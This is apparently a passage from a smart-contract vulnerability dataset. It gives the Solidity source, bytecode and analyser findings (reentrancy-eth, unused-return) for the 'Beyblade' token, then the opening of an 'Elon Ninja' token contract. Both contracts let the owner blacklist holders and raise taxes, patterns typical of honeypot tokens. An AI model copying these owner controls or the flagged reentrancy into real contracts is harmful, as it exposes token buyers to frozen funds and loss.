require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract beybladeerc is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Beyblade";
string private constant _symbol = "BLADE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x32Eebe770Aa975d0f986194F01Cfd5fF08254453);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 35) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 35) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063dbe8272c1461038e578063dc1052e2146103ae578063dd62ed3e146103ce57600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b41146102e15780639e78fb4f1461030f578063a9059cbb1461032457600080fd5b806323b872dd116100f257806323b872dd14610213578063273123b714610233578063313ce567146102535780636fc3eaec1461026f57806370a082311461028457600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019f57806318160ddd146101cf5780631bbae6e0146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461186c565b610414565b005b34801561016857600080fd5b50604080518082019091526008815267426579626c61646560c01b60208201525b60405161019691906118e9565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba36600461177a565b610465565b6040519015158152602001610196565b3480156101db57600080fd5b5066038d7ea4c680005b604051908152602001610196565b3480156101ff57600080fd5b5061015a61020e3660046118a4565b61047c565b34801561021f57600080fd5b506101bf61022e36600461173a565b6104bd565b34801561023f57600080fd5b5061015a61024e3660046116ca565b610526565b34801561025f57600080fd5b5060405160098152602001610196565b34801561027b57600080fd5b5061015a610571565b34801561029057600080fd5b506101e561029f3660046116ca565b6105a5565b3480156102b057600080fd5b5061015a6105c7565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610196565b3480156102ed57600080fd5b50604080518082019091526005815264424c41444560d81b6020820152610189565b34801561031b57600080fd5b5061015a61063b565b34801561033057600080fd5b506101bf61033f36600461177a565b61087a565b34801561035057600080fd5b5061015a61035f3660046117a5565b610887565b34801561037057600080fd5b5061015a61092b565b34801561038557600080fd5b5061015a61096b565b34801561039a57600080fd5b5061015a6103a93660046118a4565b610b2f565b3480156103ba57600080fd5b5061015a6103c93660046118a4565b610b67565b3480156103da57600080fd5b506101e56103e9366004611702565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104475760405162461bcd60e51b815260040161043e9061193c565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610472338484610b9f565b5060015b92915050565b6000546001600160a01b031633146104a65760405162461bcd60e51b815260040161043e9061193c565b6509184e72a0008111156104ba5760108190555b50565b60006104ca848484610cc3565b61051c843361051785604051806060016040528060288152602001611aba602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fba565b610b9f565b5060019392505050565b6000546001600160a01b031633146105505760405162461bcd60e51b815260040161043e9061193c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461059b5760405162461bcd60e51b815260040161043e9061193c565b476104ba81610ff4565b6001600160a01b0381166000908152600260205260408120546104769061102e565b6000546001600160a01b031633146105f15760405162461bcd60e51b815260040161043e9061193c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161043e9061193c565b600f54600160a01b900460ff16156106bf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561071f57600080fd5b505afa158015610733573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075791906116e6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d791906116e6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081f57600080fd5b505af1158015610833573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085791906116e6565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610472338484610cc3565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161043e9061193c565b60005b8151811015610927576001600660008484815181106108e357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091f81611a4f565b9150506108b4565b5050565b6000546001600160a01b031633146109555760405162461bcd60e51b815260040161043e9061193c565b6000610960306105a5565b90506104ba816110b2565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161043e9061193c565b600e546109b49030906001600160a01b031666038d7ea4c68000610b9f565b600e546001600160a01b031663f305d71947306109d0816105a5565b6000806109e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4857600080fd5b505af1158015610a5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8191906118bc565b5050600f80546509184e72a00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af757600080fd5b505af1158015610b0b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ba9190611888565b6000546001600160a01b03163314610b595760405162461bcd60e51b815260040161043e9061193c565b60238110156104ba57600b55565b6000546001600160a01b03163314610b915760405162461bcd60e51b815260040161043e9061193c565b60238110156104ba57600c55565b6001600160a01b038316610c015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043e565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043e565b6001600160a01b038216610d895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043e565b60008111610deb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043e565b6001600160a01b03831660009081526006602052604090205460ff1615610e1157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5357506001600160a01b03821660009081526005602052604090205460ff16155b15610faa576000600955600c54600a55600f546001600160a01b038481169116148015610e8e5750600e546001600160a01b03838116911614155b8015610eb357506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec85750600f54600160b81b900460ff165b15610edc57601054811115610edc57600080fd5b600f546001600160a01b038381169116148015610f075750600e546001600160a01b03848116911614155b8015610f2c57506001600160a01b03831660009081526005602052604090205460ff16155b15610f3d576000600955600b54600a555b6000610f48306105a5565b600f54909150600160a81b900460ff16158015610f735750600f546001600160a01b03858116911614155b8015610f885750600f54600160b01b900460ff165b15610fa857610f96816110b2565b478015610fa657610fa647610ff4565b505b505b610fb5838383611257565b505050565b60008184841115610fde5760405162461bcd60e51b815260040161043e91906118e9565b506000610feb8486611a38565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610927573d6000803e3d6000fd5b60006007548211156110955760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043e565b600061109f611262565b90506110ab8382611285565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115c57600080fd5b505afa158015611170573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119491906116e6565b816001815181106111b557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111db9130911684610b9f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611214908590600090869030904290600401611971565b600060405180830381600087803b15801561122e57600080fd5b505af1158015611242573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fb58383836112c7565b600080600061126f6113be565b909250905061127e8282611285565b9250505090565b60006110ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fc565b6000806000806000806112d98761142a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130b9087611487565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133a90866114c9565b6001600160a01b03891660009081526002602052604090205561135c81611528565b6113668483611572565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ab91815260200190565b60405180910390a3505050505050505050565b600754600090819066038d7ea4c680006113d88282611285565b8210156113f35750506007549266038d7ea4c6800092509050565b90939092509050565b6000818361141d5760405162461bcd60e51b815260040161043e91906118e9565b506000610feb84866119f9565b60008060008060008060008060006114478a600954600a54611596565b9250925092506000611457611262565b9050600080600061146a8e8787876115eb565b919e509c509a509598509396509194505050505091939550919395565b60006110ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fba565b6000806114d683856119e1565b9050838110156110ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043e565b6000611532611262565b90506000611540838361163b565b3060009081526002602052604090205490915061155d90826114c9565b30600090815260026020526040902055505050565b60075461157f9083611487565b60075560085461158f90826114c9565b6008555050565b60008080806115b060646115aa898961163b565b90611285565b905060006115c360646115aa8a8961163b565b905060006115db826115d58b86611487565b90611487565b9992985090965090945050505050565b60008080806115fa888661163b565b90506000611608888761163b565b90506000611616888861163b565b90506000611628826115d58686611487565b939b939a50919850919650505050505050565b60008261164a57506000610476565b60006116568385611a19565b90508261166385836119f9565b146110ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043e565b80356116c581611a96565b919050565b6000602082840312156116db578081fd5b81356110ab81611a96565b6000602082840312156116f7578081fd5b81516110ab81611a96565b60008060408385031215611714578081fd5b823561171f81611a96565b9150602083013561172f81611a96565b809150509250929050565b60008060006060848603121561174e578081fd5b833561175981611a96565b9250602084013561176981611a96565b929592945050506040919091013590565b6000806040838503121561178c578182fd5b823561179781611a96565b946020939093013593505050565b600060208083850312156117b7578182fd5b823567ffffffffffffffff808211156117ce578384fd5b818501915085601f8301126117e1578384fd5b8135818111156117f3576117f3611a80565b8060051b604051601f19603f8301168101818110858211171561181857611818611a80565b604052828152858101935084860182860187018a1015611836578788fd5b8795505b8386101561185f5761184b816116ba565b85526001959095019493860193860161183a565b5098975050505050505050565b60006020828403121561187d578081fd5b81356110ab81611aab565b600060208284031215611899578081fd5b81516110ab81611aab565b6000602082840312156118b5578081fd5b5035919050565b6000806000606084860312156118d0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611915578581018301518582016040015282016118f9565b818111156119265783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c05784516001600160a01b03168352938301939183019160010161199b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119f4576119f4611a6a565b500190565b600082611a1457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3357611a33611a6a565b500290565b600082821015611a4a57611a4a611a6a565b500390565b6000600019821415611a6357611a63611a6a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ba57600080fd5b80151581146104ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b56d75d4cb8a671341c0d97e1ca2a317f50dfa03691e340fb3f1baec650c9db464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,371 |
0x237ecf2cdb537d2d2e0b4f76cbaf4387dd3e1e4d | /**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
// SPDX-License-Identifier: Unlicensed
/*
There is war and there's ELON!
https://eloninja.io
https://t.me/eloninja
Forget about nuclear bomb, Forget about the US. Elon is the real nuclear deterrent to the world and we know it is working. Elon’s effort on buying twitter is unparalleled and secured the freedom of speech of the internet. He has successfully privatized world peace.
We pay tribute to ELON by combining the heroic ninja figure into him.
With the current escalated situations and tensions worldwide, the world needs a super star to defend the free world. With the Eloninja project, we hope to combine the essence of two world renowned icons, establishing the resurrection token one has ever witnessed in the degen world!
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ELONINJA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon Ninja";
string private constant _symbol = "ELONINJA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x760d7886a875AEc0EdCB58eD140EaFf1cce64f79);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 4e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
